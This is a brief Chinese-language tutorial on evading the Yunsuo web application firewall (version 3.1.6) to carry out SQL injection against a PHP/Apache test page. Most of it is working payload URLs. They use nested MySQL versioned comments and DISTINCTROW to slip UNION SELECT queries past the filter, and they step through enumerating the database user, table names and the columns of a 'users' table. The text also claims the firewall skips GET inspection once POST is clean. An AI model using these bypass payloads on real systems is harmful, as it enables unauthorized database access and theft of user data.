绕过云锁进行SQL注入

环境

win03 + apache + php + 云锁 win_3.1.6

绕过

法1

云锁特性:先检测post，安全的话就会跳过get

法2

联合:

https://www.0dayhack.com/test.php?id=2%27/*!40000/*!30000union*/DISTINCTROW select 1,2,3-- -

用户名/数据库:

https://www.0dayhack.com/test.php?id=2%27/*!40000/*!30000union*/DISTINCTROW select 1,user (),3-- -

表名:

https://www.0dayhack.com/test.php?id=2%27/*!40000/*!30000union*/DISTINCTROW select/N,table_name,/Nfrom information_schema.tables where table_schema='blog' limit 1 offset 1-- -

列名:

https://www.0dayhack.com/test.php?id=2%27/*!40000/*!30000union*/DISTINCTROW select/N,column_name,/Nfrom information_schema.columns where table_name='users' limit 1 offset 1-- -